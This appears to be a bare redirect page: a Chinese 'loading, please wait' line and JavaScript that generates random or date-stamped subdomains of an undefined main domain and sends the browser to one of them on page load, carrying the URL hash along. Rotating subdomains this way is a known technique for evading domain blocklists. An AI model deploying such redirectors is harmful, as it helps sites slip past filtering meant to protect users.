加载中。。。请耐心等待。。。。
const domains = [];
// 生成指定长度的小写字母和数字的随机字符串
function generateRandomString(length) {
const characters = "abcdefghijklmnopqrstuvwxyz0123456789";
let randomString = "";
for (let i = 0; i < length; i++) {
const randomIndex = Math.floor(Math.random() * characters.length);
randomString += characters[randomIndex];
}
return randomString;
}
// 生成当天日期的时间戳(Unix 时间戳,单位:毫秒)
function generateTimestampDomain() {
const today = new Date();
// 设置时间为当天的 00:00:00,确保没有时间偏差
today.setHours(0, 0, 0, 0); // 设置为当天的 00:00:00
const timestamp = today.getTime(); // 获取该日期的 Unix 时间戳(毫秒)
return `${timestamp}.${mainDomain}`; // 返回以时间戳为子域名的格式
}
// 随机获取一个域名
function getRandomDomain() {
const hashValue = window.location.hash || ""; // 如果没有 hash 值,默认为空字符串
const randomIndex = Math.floor(Math.random() * domains.length);
return `${domains[randomIndex]}${hashValue}`;
}
// 生成域名(判断使用时间戳或随机字符串)
function generateDomains() {
for (let i = 0; i < 4; i++) {
let domain;
if (useTimestamp) {
domain = generateTimestampDomain(); // 使用时间戳生成子域名
} else {
const prefix = generateRandomString(6); // 使用随机字符串生成子域名
domain = `${prefix}.${mainDomain}`;
}
domains.push(domain);
}
}
generateDomains();
const randomDomain = getRandomDomain();
// console.log(randomDomain);
window.location.href = `${mainDomainPrefix}${randomDomain}`;